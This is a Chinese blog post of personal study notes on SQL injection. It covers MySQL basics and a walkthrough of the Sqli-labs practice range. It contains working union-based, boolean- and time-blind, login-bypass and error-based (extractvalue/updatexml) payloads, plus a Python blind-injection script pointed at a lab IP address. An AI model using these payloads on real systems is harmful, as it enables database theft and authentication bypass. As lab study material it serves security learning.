SQL注入学习寄录

0x01 SQL

SQL 是一种标准

SQL 是一门 ANSI(American National Standards Institute 美国国家标准化组织)标准的计算机语言,但是仍然存在着多种不同版本的 SQL 语言。

库&表

一个数据库通常包括一个或多个表。每个表都有一个名字标识,表包含带有数据的记录。

SQL 基础语法

最简单的查询

SELECT * FROM 表名

这个语句会把当前表下所有的数据全都列出来,在数据量比较小的时候会很好用,但当数据量特别大的时候就容易被一堆数据淹没,不知所措。

这时候可以添加限制,指定我要哪一列的数据

SELECT 列名 FROM 表名

数据还是很多,可以添加WHERE来进行进一步限制

SELECT 列名 FROM 表名 WHERE 条件

如果需要将数据排序的话,可以用ORDER BY

SELECT 列名 FROM 表名 WHERE 条件 ORDER BY 列名

有时候,咱只想返回前几条数据,就可以加入LIMIT

SELECT 列名 FROM 表名 WHERE 条件 ORDER BY 列名 LIMIT 数字

SQL操作符

WHERE 列名 LIKE 通配符

按照通配符匹配

通配符 描述
% 替代0个或多个字符
_ 替代1个字符
[charlist] 字符列中的任何单一字符
[^charlist] 或 [!charlist] 不在字符列中的任何单一字符

WHERE 列名 IN (‘值1’,’值2’)

WHERE 列名 BETWEEN 值1 AND 值2;

联合查询

SELECT 列名1,列名2… FROM table1 UNION SELECT 列名1,列名2… FROM table2;

注意:联合查询要求前后字段数相同,否则将会报错.

特殊的数据库information_schema

摘自这里

在数据库里,有这样一个数据库information_schema,数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。

表名 功能
SCHEMATA 提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
TABLES 提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS 供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
STATISTICS 提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。
USER_PRIVILEGES 给出了关于全程权限的信息。该信息源自mysql.user授权表。是非标准表。
SCHEMA_PRIVILEGES 给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表。是非标准表。
TABLE_PRIVILEGES(表权限) 给出了关于表权限的信息。该信息源自mysql.tables_priv授权表。是非标准表。
COLUMN_PRIVILEGES(列权限) 给出了关于列权限的信息。该信息源自mysql.columns_priv授权表。是非标准表。
CHARACTER_SETS(字符集) 提供了mysql实例可用字符集的信息。是SHOW CHARACTER SET结果集取之此表。

在注入的过程中,我们常用的是information_schema.tables下面的table_name以及table_schema表名及其所在的数据库名字。
使用information_schema.columns下的column_name获取列名

select 的其他用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
mysql> select 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec)

mysql> select (1>2);
+-------+
| (1>2) |
+-------+
| 0 |
+-------+
1 row in set (0.00 sec)

mysql> select (1<2);
+-------+
| (1<2) |
+-------+
| 1 |
+-------+
1 row in set (0.00 sec)

mysql> select "aaaa";
+------+
| aaaa |
+------+
| aaaa |
+------+
1 row in set (0.00 sec)

mysql> select (1<2) from users;
+-------+
| (1<2) |
+-------+
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+-------+
13 rows in set (0.00 sec)

mysql> select (version());
+-------------------------+
| (version()) |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)

SQL 注入常用函数

字符拼接

1. concat()函数

  • 功能:将多个字符串连接成一个字符串。

  • 语法:concat(str1, str2,…)

  • 说明:返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
mysql> select concat('a','b','c')
-> ;
+---------------------+
| concat('a','b','c') |
+---------------------+
| abc |
+---------------------+
1 row in set (0.00 sec)

mysql> select concat('a','b','c','null')
-> ;
+----------------------------+
| concat('a','b','c','null') |
+----------------------------+
| abcnull |
+----------------------------+
1 row in set (0.00 sec)

2. concat_ws()函数

  • 功能 和concat()一样,但是可以指定分隔符
  • 语法:concat_ws(separator, str1, str2, …)
  • 第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
1
2
3
4
5
6
7
8
mysql> select concat_ws('#','a','b','c','null')
-> ;
+-----------------------------------+
| concat_ws('#','a','b','c','null') |
+-----------------------------------+
| a#b#c#null |
+-----------------------------------+
1 row in set (0.00 sec)

3.group_concat()函数

  • 功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
  • 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator] )
1
2
3
4
5
6
7
8
mysql> select 1,(select group_concat(username) from users); 
+---+---------------------------------------------------------------------------------------------+
| 1 | (select group_concat(username) from users) |
+---+---------------------------------------------------------------------------------------------+
| 1 | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 |
+---+---------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

盲注常用

1.ascii()函数

都会用,不说了

2.substr()函数

  • substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
mysql> select substr("abcdefg",1,1);
+-----------------------+
| substr("abcdefg",1,1) |
+-----------------------+
| a |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",1,3);
+-----------------------+
| substr("abcdefg",1,3) |
+-----------------------+
| abc |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",2,3);
+-----------------------+
| substr("abcdefg",2,3) |
+-----------------------+
| bcd |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",-2,3);
+------------------------+
| substr("abcdefg",-2,3) |
+------------------------+
| fg |
+------------------------+
1 row in set (0.01 sec)

mysql> select substr("abcdefg",-2,1);
+------------------------+
| substr("abcdefg",-2,1) |
+------------------------+
| f |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",-3,2);
+------------------------+
| substr("abcdefg",-3,2) |
+------------------------+
| ef |
+------------------------+
1 row in set (0.00 sec)

sleep()

都会,不说了

报错注入常用

updatexml()

extractvalue()

group by报错注入

0x02 SQL注入靶场–Sqli-labs

Less-1 | 显错注入

判断注入点为字符型还是数字型:

?id=1

id=2

id=1+1

这里可以发现,没有对我们输入的1+1进行运算,可以确定是字符型注入。
查看源代码

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里有个令人异或的地方:
?id=1+1为啥返回了?id=1的结果,这里进mysql控制台里面康康。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
mysql> select * from users where id='1+1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1a";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from users where id="a1";
Empty set (0.00 sec)

mysql> select * from users where id="0x1";
Empty set (0.00 sec)

mysql> select * from users where id=0x1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=+0b01;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=+ 0b01;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

这宛如PHP一样强大的鲁棒性,我已经有不好的预感了。

众所周知,方便程序员写代码 = 方便黑客进来搞事情。

更深入的测试

联合注入:

?id=1’ union select 1,2,3 –+

实际执行的是,这里--+是将后面的内容注释掉了

SELECT * FROM users WHERE id=’1’ union select 1,2,3 –+ LIMIT 0,1

好像啥都没变,不过在后端的代码里可以看见相关的逻辑

1
2
3
4
5
6
7
8
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}

MySQL返回的是

1
2
3
4
5
6
7
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)

但因为后端代码的设计,只能显示第一条,这时候我们可以让前面id指向一个不存在的数据,这样第一条数据就只会返回空

1
2
3
4
5
6
7
mysql> SELECT * FROM users WHERE id='-1' union select 1,2,3; 
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)

开始爆金币数据了

?id=-1’ union select 1,(select username from users limit 4,1),3 –+

因为select username from users会返回多条数据,这时候使用limit来限制返回哪一行

这样子爆破数据不够爽,还得手动一个一个搓,太麻烦了,直接上group_concat()

?id=-1’ union select 1,(select group_concat(username) from users),3 –+

不过这是咱在翻看了源代码,并且知道这些数据的情况下做出来的,在真正注入的环境下,得需要获取这些数据,这时候就需要information_schema这个数据库了

?id=-1’ union select 1,(select group_concat(schema_name) from schemata),3 –+


发生什么事了?好像有点不太对劲呢。因为这题所在的数据库是security,而schemata是在information_schema这个数据库下面的。我们需要换成information_schema.schemata

?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 –+

数据库爆出来了,爆表名

?id=-1’ union select 1,(select group_concat(table_name) from information_schema.columns where table_schema=”security”),3 –+

表名出来了,爆字段

?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=”users”),3 –+

需要的数据都有了,咱可以直接把库给脱下来了

Less-2 - Less-4

这几题都一样,无非是注入点周围包裹的东西不一样,不多赘述,过。

Less-5 | 布尔盲注

?id=1

眉清目秀,啥都木有。

?id=1”‘
一通测试下来,发现有了报错信息

如何利用报错信息注入呢?

?id=1’ and 1 = 1 –+
i

?id=2’ and 2 = 1 –+

那有意思的就来了,嘻嘻

1
2
3
4
5
6
7
8
mysql> select ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0);
+-----------------------------------------------------------------------------------------------------+
| ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0) |
+-----------------------------------------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://39.104.82.167/Less-5/?id="
res = ""

for i in range(0,256):
for j in range(0,256):
for k in range(0,256):
payload = f"1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{j},1)) = {k} --+"
r = requests.get(url+payload)
if "You are in..........." in r.text:
res += chr(k)
print(res)
break

更改payload来爆表

1
payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=\"security\"),{j},1)) = {k} --+"

更改payload 来爆字段

1
payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{j},1)) = {k} --+"

Tips 无AND的情况下,可以用^

Less 6-8 都差不多,就是需要各种奇妙的闭合

Less 9

这里需要时间盲注,和布尔盲注差不多只是需要添加一个if(a,sleep(10),1)判断

?id=1’ and if(1=1,sleep(5),1)–+

判断参数构造。

?id=1’and if(length((select database()))>9,sleep(5),1)–+

判断数据库名长度

?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+

逐一判断数据库字符

?id=1’and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+

判断所有表名长度

?id=1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+

逐一判断表名

?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20,sleep(5),1)–+

判断所有字段名的长度

?id=1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99,sleep(5),1)–+

逐一判断字段名。

?id=1’ and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+

判断字段内容长度

?id=1’ and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+

逐一检测内容。

Less 10 一模一样,略

Less 11 | 万能密码

这次开始,不是get传参了,换成POST传参还给了个登录框,先随便穿个数据康康

这时候拿出我们的究极无敌炫酷万能密码1' or 1=1#

好了,这就进去了

为什么呢?咱把源码翻开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql); //注意这里
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

?>

关键点在这里$result=mysql_query($sql);

这里的结果是用sql语句的查询结果来,所以只需要让语句返回一个真就行了,or 1 = 1使得整个语句恒真,这就让我们成功登陆进去了

之后我们就可以注入获取信息了。

Less 12 -16 都差不多

Less 17 | 报错注入

这题开始不同了,使用的是update而不是select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";



if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}

echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";



}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';

echo "</font>";
}
}

报错注入开淦

能进行报错的函数

extractvalue()

  • 演示:
    1
    2
    3
    4
    5
    mysql> select extractvalue(1,concat(0x5c,"114514",0x5c));
    ERROR 1105 (HY000): XPATH syntax error: '\114514\'

    ```
    * payload:
    1’ and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本

1’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库

1’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名

1’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x5c)))#
爆字段名

1’ and (extractvalue(1,concat(0x5c,(select password from (select password from users where username=’admin1’) b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。

1’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。

1
2
3
4
5
6
7
#### updatexml()

* `updatexml()`是一个使用不同的xml标记匹配和替换xml块的函数。
* 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
* updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)


mysql> select (updatexml(1,concat(0x7e,(version()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: ‘5.5.44-0ubuntu0.14.04.1


公式:
updatexml(数字,带有'~'的任何东西,数字)
updatexml(数字,(concat(0x7e,(长度不过63的任意字符),0x7e)),数字)


## less 18 - Less19

地点不一样,懒得弄了.

## Less20 - Less23
base64编码了一下,还是一样

## Less24 | 二次注入
  

:D 一言句子获取中...